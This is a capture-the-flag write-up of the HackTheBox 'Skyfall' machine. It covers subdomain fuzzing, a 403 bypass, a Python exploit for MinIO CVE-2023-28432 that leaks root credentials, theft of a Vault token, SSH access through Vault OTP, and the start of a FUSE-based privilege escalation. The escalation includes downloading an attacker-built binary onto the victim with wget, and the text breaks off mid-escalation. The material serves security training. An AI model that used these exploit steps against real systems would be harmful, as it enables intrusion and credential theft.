Skyfall – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Insane
  • Platform: HackTheBox

‘Skyfall’ Avatar


Summary Link to heading

Skyfall is an “Insane” difficulty machine from HackTheBox platform. The page is running a web server which has a subdomain that we can find by searching subdomains through vhosting. The new page displays a sample service, which we are able to access as a guest user. Once inside, we are able to access a forbidden directory by injecting a null byte. Within this directory we find a MinIO service vulnerable to CVE-2023-28432, which allows us to view credentials for HashiCorp Value on an exposed endpoint. With this we are able to find keys for HashiCorp Value and log in via SSH as a user. Once inside, this user can run a program to open HashiCorp values with sudo. The program allows to create a debug file in debug mode. In order to read this debug file we create a small mount on the system via libfuse (FUSE), which allows us to read the debug file and get credentials as root.


User Link to heading

Nmap scan shows only 2 ports open: 22 SSH and 80 HTTP

❯ sudo nmap -sVC -p22,80 10.10.11.254 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 18:31 -04
Nmap scan report for 10.10.11.254
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_  256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds

Visiting http://10.10.11.254 shows a simple webpage:

Skyfall 1

I also note that we have some contacts with the domain skyfall.htb. So I decide to add this domain to my /etc/hosts file:

❯ echo '10.10.11.254 skyfall.htb' | sudo tee -a /etc/hosts

10.10.11.254 skyfall.htb

The page does not show much info interesting besides that it says that it is a service that storages data.

At this point I decide to search for subdomains since we could a apply vhosting. For this I use ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://skyfall.htb/ -H 'Host: FUZZ.skyfall.htb' -fs 20631

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://skyfall.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.skyfall.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 20631
________________________________________________

demo                    [Status: 302, Size: 217, Words: 23, Lines: 1, Duration: 608ms]
:: Progress: [4989/4989] :: Job [1/1] :: 246 req/sec :: Duration: [0:00:20] :: Errors: 0 ::

where we find a new domain: demo.skyfall.htb. So I add this domain to my /etc/hosts file as well and now this file looks like:

❯ cat /etc/hosts | tail -n 1

10.10.11.254 skyfall.htb demo.skyfall.htb

Visiting http://demo.skyfall.htb shows a simple Sky Storage Demo (the service described at the main webpage).

Skyfall 2

The site suggests that we can use the credentials guest:guest. And we can log in this panel with those credentials. Once in, I can see a panel:

Skyfall 3

After attempting many things, at the left side we have the option MinIO Metrics. Clicking on it redirects to http://demo.skyfall.htb/metrics, but the site returns code 403 Forbidden. I try to check if we can bypass it using some special characters using ffuf. For this I extract my session cookie from the guest session (in Firefox is just Ctrl + Shift + I, go to Storage and extract the value from session cookie) and run:

❯ ffuf -w /usr/share/seclists/Fuzzing/URI-hex.txt:FUZZ -u http://demo.skyfall.htb/metricsFUZZ -b 'session=.eJw<SNIP>kM' -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://demo.skyfall.htb/metricsFUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/URI-hex.txt
 :: Header           : Cookie: session=.eJw<SNIP>kM
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

%0a                     [Status: 200, Size: 44883, Words: 4191, Lines: 9, Duration: 299ms]
:: Progress: [256/256] :: Job [1/1] :: 122 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

where 'session=.eJwH<SNIP>kM' is the (cut) cookie session extracted from guest session.

Apparently, adding a null byte bypasses and allow us to see this directory. If I visit http://demo.skyfall.htb/metrics%0a from my browser it works and we can see its content:

Skyfall

So we are against a MinIO service. Searching What is MinIO, from its official webpage, we have:

Info
MinIO is a high-performance, S3 compatible object store. It is built for large scale AI/ML, data lake and database workloads. It is software-defined and runs on any cloud or on-premises infrastructure. MinIO is dual-licensed under open source GNU AGPL v3 and a commercial enterprise license.

Apparently, the data service that was described in the main page works using MinIO.

At the bottom of this page I also note another domain:

Skyfall 5

Therefore I add the domain prd23-s3-backend.skyfall.htb to my /etc/hosts file:

❯ cat /etc/hosts | tail -n 1

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb

Searching for recent vulnerabilities for MinIO we find the vulnerability CVE-2023-28432 as described in this Github repository. In summary, there are some environment variables leaked from an endpoint /minio/bootstrap/v1/verify. We visit http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify and intercept the request with Burpsuite, and change the method to POST:

Skyfall 6

or in a simple Python script that I have created:

#!/usr/bin/python3

import requests
import sys


def make_request(url: str)->None:
    generic_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", 
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 
                 "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Dnt": "1", 
                 "Upgrade-Insecure-Requests": "1", 
                 "Sec-Fetch-Dest": "document", 
                 "Sec-Fetch-Mode": "navigate", 
                 "Sec-Fetch-Site": "none", "Sec-Fetch-User": 
                 "?1", "Te": "trailers", 
                 "Connection": "close", 
                 "Content-Type": "application/x-www-form-urlencoded"}
    print(f"[*] Making request to {url!r}")
    r = requests.post(url, headers=generic_headers)
    if r.status_code != 200:
        print(f"[!] Invalid status code from response (HTTP code {r.status_code!r})")
        sys.exit(1)
    minio_root_user = r.json().get("MinioEnv", {}).get("MINIO_ROOT_USER")
    minio_root_password = r.json().get("MinioEnv", {}).get("MINIO_ROOT_PASSWORD")
    minio_secret_key = r.json().get("MinioEnv", {}).get("MINIO_ROOT_PASSWORD")
    print(f"[+] MINIO_ROOT_USER: {minio_root_user}")
    print(f"[+] MINIO_ROOT_PASSWORD: {minio_root_password}")
    return


def main()->None:
    url: str = "http://prd23-s3-backend.skyfall.htb:80/minio/bootstrap/v1/verify"
    make_request(url)


if __name__ == "__main__":
    main()

Running it we get some credentials:

❯ python3 minio_leaked_data.py

[*] Making request to 'http://prd23-s3-backend.skyfall.htb:80/minio/bootstrap/v1/verify'
[+] MINIO_ROOT_USER: 5GrE1B2YGGyZzNHZaIww
[+] MINIO_ROOT_PASSWORD: GkpjkmiVmpFuL2d3oRx0

so we have a user and a password.

However, these credentials are for MinIO service. We can download it from this page (downloading the mc binary) or downloading it in console with wget:

❯ wget https://dl.min.io/client/mc/release/linux-amd64/mc

--2024-05-19 19:58:16--  https://dl.min.io/client/mc/release/linux-amd64/mc
Resolving dl.min.io (dl.min.io)... 178.128.69.202, 138.68.11.125
Connecting to dl.min.io (dl.min.io)|178.128.69.202|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26771608 (26M) [application/octet-stream]
Saving to: β€˜mc’

mc                                         100%[=======================================================================================>]  25.53M   857KB/s    in 30s

❯ chmod +x ./mc

Checking the commands available:

❯ ./mc -h
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── (q)uit/esc
NAME:
  mc - MinIO Client for object storage and filesystems.

USAGE:
  mc [FLAGS] COMMAND [COMMAND FLAGS | -h] [ARGUMENTS...]

COMMANDS:
  alias      manage server credentials in configuration file
  admin      manage MinIO servers
  anonymous  manage anonymous access to buckets and objects
  batch      manage batch jobs
  cp         copy objects
  cat        display object contents
  diff       list differences in object name, size, and date between two buckets
  du         summarize disk usage recursively
  encrypt    manage bucket encryption config
  event      manage object notifications
  find       search for objects
  get        get s3 object to local
  head       display first 'n' lines of an object
  ilm        manage bucket lifecycle
  idp        manage MinIO IDentity Provider server configuration
  license    license related commands
  legalhold  manage legal hold for object(s)
  ls         list buckets and objects
  mb         make a bucket
  mv         move objects
  mirror     synchronize object(s) to a remote site
  od         measure single stream upload and download
  ping       perform liveness check
  pipe       stream STDIN to an object
  put        upload an object to a bucket
  quota      manage bucket quota
  rm         remove object(s)

Searching for documentation for this binary we have that we have to run:

mc alias set <alias> <endpoint> <access-key> <secret-key>

where <alias> is how we will name the connection, <endpoint> is the url of the MinIO service, <access-key> access key or username, and <secret-key> is the password or secret key.

Once added we can check all the resources running:

mc ls --recursive --versions <alias>

So, in my case, I will name the connection as leaked. So I run:

❯ ./mc alias set leaked http://prd23-s3-backend.skyfall.htb/ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0

mc: Configuration written to `/home/gunzf0x/.mc/config.json`. Please update your access credentials.
mc: Successfully created `/home/gunzf0x/.mc/share`.
mc: Initialized share uploads `/home/gunzf0x/.mc/share/uploads.json` file.
mc: Initialized share downloads `/home/gunzf0x/.mc/share/downloads.json` file.
Added `leaked` successfully.

and check its content:

❯ ./mc ls --recursive --versions leaked

[2023-11-08 01:59:15 -03]     0B askyy/
[2023-11-08 02:35:28 -03]  48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 18:37:25 -03] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 18:37:09 -03] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 18:36:30 -03] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-08 01:58:56 -03]     0B btanner/
[2023-11-08 02:35:36 -03]  48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-08 01:58:33 -03]     0B emoneypenny/
[2023-11-08 02:35:56 -03]  48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-08 01:58:22 -03]     0B gmallory/
[2023-11-08 02:36:02 -03]  48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-07 21:08:01 -03]     0B guest/
[2023-11-07 21:08:05 -03]  48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2023-11-08 01:59:05 -03]     0B jbond/
[2023-11-08 02:35:45 -03]  48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-08 01:58:10 -03]     0B omansfield/
[2023-11-08 02:36:09 -03]  48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-08 01:58:45 -03]     0B rsilva/
[2023-11-08 02:35:51 -03]  48KiB STANDARD null v1 PUT rsilva/Welcome.pdf

where I can see a backup file called at askyy/home_backup.tar

Now, we can copy files running:

mc cp <path-inside-alias> <outfile-name> 

so I run:

❯ ./mc cp --recursive leaked/askyy/home_backup.tar.gz ./home_backup.tar.gz

...b/askyy/home_backup.tar.gz: 2.48 KiB / 2.48 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 1.97 KiB/s 1s

I extract these files, and check that we get some files:

❯ cd home_backup.tar.gz

❯ ls -la

total 12
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 19 20:19 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 19 20:20 ..
-rw-r--r-- 1 gunzf0x gunzf0x 2543 May 19 20:19 home_backup.tar.gz
❯ tar -xzvf home_backup.tar.gz

./
./.profile
./.bashrc
./.ssh/
./.ssh/authorized_keys
./.sudo_as_admin_successful
./.bash_history
./.bash_logout
./.cache/
./.cache/motd.legal-displayed

❯ ls -la

total 36
drwxr-x--- 4 gunzf0x gunzf0x 4096 Nov  9  2023 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 19 20:20 ..
-rw-r--r-- 1 gunzf0x gunzf0x    1 Nov  9  2023 .bash_history
-rw-r--r-- 1 gunzf0x gunzf0x  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 gunzf0x gunzf0x 3771 Nov  9  2023 .bashrc
drwx------ 2 gunzf0x gunzf0x 4096 Oct  9  2023 .cache
-rw-r--r-- 1 gunzf0x gunzf0x 2543 May 19 20:19 home_backup.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x  807 Jan  6  2022 .profile
drwx------ 2 gunzf0x gunzf0x 4096 Nov  9  2023 .ssh
-rw-r--r-- 1 gunzf0x gunzf0x    0 Oct  9  2023 .sudo_as_admin_successful

but got nothing interesting

At this dead point I remember that we had different versions for askyy/home_backup.tar.gz. I assume that these are different “logs/tags” assigned when we make changes. One of the versions was 2b75346d-2a47-4203-ab09-3c9f878466b8 for the backup file. So I download specifically that version:

❯ ./mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 leaked/askyy/home_backup.tar.gz ./home_backup.tar.gz

...b/askyy/home_backup.tar.gz: 2.64 KiB / 2.64 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 2.39 KiB/s 1s

and extract its content.

If I check the decompressed content it is similar as the previous decompressed file:

❯ ls -la

total 36
drwxr-x--- 4 gunzf0x gunzf0x 4096 Nov  9  2023 .
drwxr-xr-x 5 gunzf0x gunzf0x 4096 May 19 18:21 ..
-rw-r--r-- 1 gunzf0x gunzf0x    1 Nov  9  2023 .bash_history
-rw-r--r-- 1 gunzf0x gunzf0x  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 gunzf0x gunzf0x 3953 Nov  9  2023 .bashrc
drwx------ 2 gunzf0x gunzf0x 4096 Oct  9  2023 .cache
-rw-r--r-- 1 gunzf0x gunzf0x 2705 May 19 20:27 home_backup.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x  807 Jan  6  2022 .profile
drwx------ 2 gunzf0x gunzf0x 4096 Nov  9  2023 .ssh
-rw-r--r-- 1 gunzf0x gunzf0x    0 Oct  9  2023 .sudo_as_admin_successful

but .bashrc file is slightly different:

❯ cat .bashrc

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
<SNIP>
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
<SNIP>

so we have a VAULT_TOKEN and another domain prd23-vault-internal.skyfall.htb

I add this new domain to my /etc/hosts file, so now it looks like:

❯ cat /etc/hosts | tail -n 1

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb prd23-vault-internal.skyfall.htb

Searching for this VAULT_TOKEN variable, we find that it is used for HashiCorp Vault:

Info
HashiCorp Vault is a powerful tool designed for securely managing secrets and protecting sensitive data. It is part of the HashiCorp suite of infrastructure management tools

We download HashiCorp Vault binary for Linux with wget:

❯ wget https://releases.hashicorp.com/vault/1.16.2/vault_1.16.2_linux_amd64.zip

--2024-05-19 20:38:13--  https://releases.hashicorp.com/vault/1.16.2/vault_1.16.2_linux_amd64.zip
Resolving releases.hashicorp.com (releases.hashicorp.com)... 3.162.221.26, 3.162.221.105, 3.162.221.48, ...
Connecting to releases.hashicorp.com (releases.hashicorp.com)|3.162.221.26|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 143229555 (137M) [application/zip]
Saving to: β€˜vault_1.16.2_linux_amd64.zip’

vault_1.16.2_linux_amd64.zip               100%[=======================================================================================>] 136.59M  55.9MB/s    in 2.4s

Export the values found:

❯ export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"

❯ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

❯ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"

and run HashiCorp Vault binary:

❯ ./vault login

Token (will be hidden): hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
WARNING! The VAULT_TOKEN environment variable is set! The value of this
variable will take precedence; if this is unwanted please unset VAULT_TOKEN or
update its value accordingly.

Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
token_accessor       rByv1coOBC9ITZpzqbDtTUm8
token_duration       433388h16m12s
token_renewable      true
token_policies       ["default" "developers"]
identity_policies    []
policies             ["default" "developers"]

where, as a token, I just passed the value of the variable VAULT_TOKEN found.

We can then enumerate the different roles:

❯ ./vault token capabilities ssh/roles

list

❯ ./vault list ssh/roles

Keys
----
admin_otp_key_role
dev_otp_key_role

If we try to log in with admin_otp_key_role via SSH this did not work:

❯ ./vault ssh -role admin_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254

failed to generate credential: failed to get credentials: Error making API request.

URL: PUT http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/admin_otp_key_role
Code: 403. Errors:

* 1 error occurred:
        * permission denied

but if we use dev_otp_key_role key, we can log in via SSH as askyy user:

❯ ./vault ssh -role dev_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254

Warning: Permanently added '10.10.11.254' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
askyy@skyfall:~$ whoami

askyy

We can get the user flag at askyy home directory.

Before continuing, let’s try to see the content of dev_otp_key_role. We might (and will) need it for later if we need to connect via SSH as askyy user in multiple sessions. Searching how to read key files in HashiCorp Vault we find this documentation explaining it. But following those instructions returns an error:

❯ ./vault read ssh/creds/dev_otp_key_role

Error reading ssh/creds/dev_otp_key_role: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role
Code: 405. Errors:

* 1 error occurred:
        * unsupported operation

So we are not allowed to read it.

However, reading more I find that we are also able to generate new credentials based on this documentation. If we try to generate credentials, it asks for an IP address:

❯ curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role

{"errors":["Missing ip"]}

If we pass as data the IP address of the victim machine, now it returns data for a user nobody; a user that exists on /etc/passwd file of the victim machine:

❯ curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role -d '{"ip":"10.10.11.254"}' | jq

{
  "request_id": "39d8264b-c279-7b86-3605-1933b7c455af",
  "lease_id": "ssh/creds/dev_otp_key_role/Y7D1NrPXje3w6xRmGjygS3Fi",
  "renewable": false,
  "lease_duration": 2764800,
  "data": {
    "ip": "10.10.11.254",
    "key": "1c3be6fe-dd3f-26cf-7a95-572aaae479e9",
    "key_type": "otp",
    "port": 22,
    "username": "nobody"
  },
  "wrap_info": null,
  "warnings": null,
  "auth": null
}

I can see the field “username”, we can then try to request for the user askyy (that we have already impersonated):

❯ curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role -d '{"ip":"10.10.11.254", "username":"askyy"}' | jq

{
  "request_id": "89eb700b-8467-0aea-6d4c-eaf51452fcd2",
  "lease_id": "ssh/creds/dev_otp_key_role/QG1uenKuKgVECQszJHwfnZFH",
  "renewable": false,
  "lease_duration": 2764800,
  "data": {
    "ip": "10.10.11.254",
    "key": "40bafb97-ebe2-c3c7-1a13-8f3cc1903a47",
    "key_type": "otp",
    "port": 22,
    "username": "askyy"
  },
  "wrap_info": null,
  "warnings": null,
  "auth": null
}

where we have a key: 40bafb97-ebe2-c3c7-1a13-8f3cc1903a47 (this key will be different every time we run the command).

Finally, if we use this generated key as password to log in via SSH as askyy user this also works:

❯ ssh -o stricthostkeychecking=no askyy@10.10.11.254

(askyy@10.10.11.254) Password: 40bafb97-ebe2-c3c7-1a13-8f3cc1903a47
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Sep  1 00:49:19 2024 from 10.10.16.3
askyy@skyfall:~$

Root Link to heading

Checking what commands we can run as sudo we can run one command that does not require password:

askyy@skyfall:~$ sudo -l

Matching Defaults entries for askyy on skyfall:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User askyy may run the following commands on skyfall:
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml

Checking the command options:

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h

Usage:
  vault-unseal [OPTIONS]

Application Options:
  -v, --verbose        enable verbose output
  -d, --debug          enable debugging output to file (extra logging)
  -c, --config=PATH    path to configuration file

Help Options:
  -h, --help           Show this help message

Even if we cannot read that the script does, we can find Vault Unseal Github repository that is, apparently, the same program running with sudo. It is a program used to unseal values for Hashicorp Vault.

When I entered in the account I checked if we had files interesting files:

askyy@skyfall:~$ ls -la

total 32
drwxr-x--- 4 askyy askyy 4096 Jan 22 14:46 .
drwxr-xr-x 3 root  root  4096 Jan 19 21:33 ..
lrwxrwxrwx 1 askyy askyy    9 Nov  9  2023 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov  9  2023 .bashrc
drwx------ 2 askyy askyy 4096 Oct  9  2023 .cache
-rw-r--r-- 1 askyy askyy  807 Jan  6  2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 10:32 .ssh
-rw-r----- 1 root  askyy   33 May 19 22:17 user.txt

but after running the commands with sudo, and providing -d flag option, I note that a file called debug.log was created, which is owned by root:

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false

askyy@skyfall:~$ ls -la

total 36
drwxr-x--- 4 askyy askyy 4096 May 20 00:59 .
drwxr-xr-x 3 root  root  4096 Jan 19 21:33 ..
lrwxrwxrwx 1 askyy askyy    9 Nov  9  2023 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov  9  2023 .bashrc
drwx------ 2 askyy askyy 4096 Oct  9  2023 .cache
-rw-r--r-- 1 askyy askyy  807 Jan  6  2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 10:32 .ssh
-rw------- 1 root  root   590 May 20 00:59 debug.log
-rw-r----- 1 root  askyy   33 May 19 22:17 user.txt

However, I cannot read this file as was shown previously by the permissions:

askyy@skyfall:~$ cat debug.log

cat: debug.log: Permission denied

A way to attempt to read this file is to use libfuse system:

Info
libfuse provides the reference implementation for communicating with the FUSE kernel module. A FUSE file system is typically implemented as a standalone application that links with libfuse. libfuse provides functions to mount the file system, unmount it, read requests from the kernel, and send responses back.

For this we can check, for example, /etc/fuse.conf file:

askyy@skyfall:~$ cat /etc/fuse.conf

# The file /etc/fuse.conf allows for the following parameters:
#
# user_allow_other - Using the allow_other mount option works fine as root, in
# order to have it work as user you need user_allow_other in /etc/fuse.conf as
# well. (This option allows users to use the allow_other option.) You need
# allow_other if you want users other than the owner to access a mounted fuse.
# This option must appear on a line by itself. There is no value, just the
# presence of the option.

user_allow_other


# mount_max = n - this option sets the maximum number of mounts.
# Currently (2014) it must be typed exactly as shown
# (with a single space before and after the equals sign).

#mount_max = 1000

where the option user_allow_other is uncommented (which means it is enabled), allowing other users to write to our file system.

Now, we could look for many ways to use FUSE, but one of the most “secure” ways is to use static binaries. For example, if we use a static binary built in C or Go, if it runs in our machine and does not have strong dependencies on libraries, it should run in our machine as well as in other Linux machines like the victim target. We finally find go-fuse (that can be downloaded from its Github repository). More specifically, if we go to example folder and then we use memfs it will allow us to create in-file memory file system.

For this, download the repository, go to its example/memfs directory and build the binary:

❯ git clone https://github.com/hanwen/go-fuse.git

Cloning into 'go-fuse'...
remote: Enumerating objects: 13206, done.
remote: Counting objects: 100% (3712/3712), done.
remote: Compressing objects: 100% (764/764), done.
remote: Total 13206 (delta 3186), reused 3000 (delta 2946), pack-reused 9494 (from 1)
Receiving objects: 100% (13206/13206), 3.92 MiB | 7.17 MiB/s, done.
Resolving deltas: 100% (8759/8759), done.
❯ cd go-fuse/example/memfs
❯ ls -la

total 12
drwxrwxr-x  2 gunzf0x gunzf0x 4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x 4096 Aug 31 20:01 ..
-rw-rw-r--  1 gunzf0x gunzf0x  957 Aug 31 20:01 main.go
❯ go build

go: downloading golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a
❯ ls -la

total 3216
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x    4096 Aug 31 20:01 ..
-rw-rw-r--  1 gunzf0x gunzf0x     957 Aug 31 20:01 main.go
-rwxrwxr-x  1 gunzf0x gunzf0x 3280265 Aug 31 20:01 memfs

Start a Python HTTP server on port 8080:

❯ ls -la && python3 -m http.server 8080

total 3216
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x    4096 Aug 31 20:01 ..
-rw-rw-r--  1 gunzf0x gunzf0x     957 Aug 31 20:01 main.go
-rwxrwxr-x  1 gunzf0x gunzf0x 3280265 Aug 31 20:01 memfs
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

and download it on the victim machine with wget:

askyy@skyfall:~$ wget http://10.10.16.3:8080/memfs -O /dev/shm/memfs
--2024-09-01 00:12:21--  http://10.10.16.3:8080/memfs
Connecting to 10.10.16.3:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3280265 (3.1M) [application/octet-stream]
Saving to: β€˜/dev/shm/memfs’

/dev/shm/memfs                             100%[=======================================================================================>]   3.13M   722KB/s    in 7.6s

askyy@skyfall:~$ chmod +x /dev/shm/memfs

And start a mount using the exported binary into the victim machine:

askyy@skyfall:~$ cd /dev/shm

askyy@skyfall:/dev/shm$ ./memfs

usage: main MOUNTPOINT BACKING-PREFIX
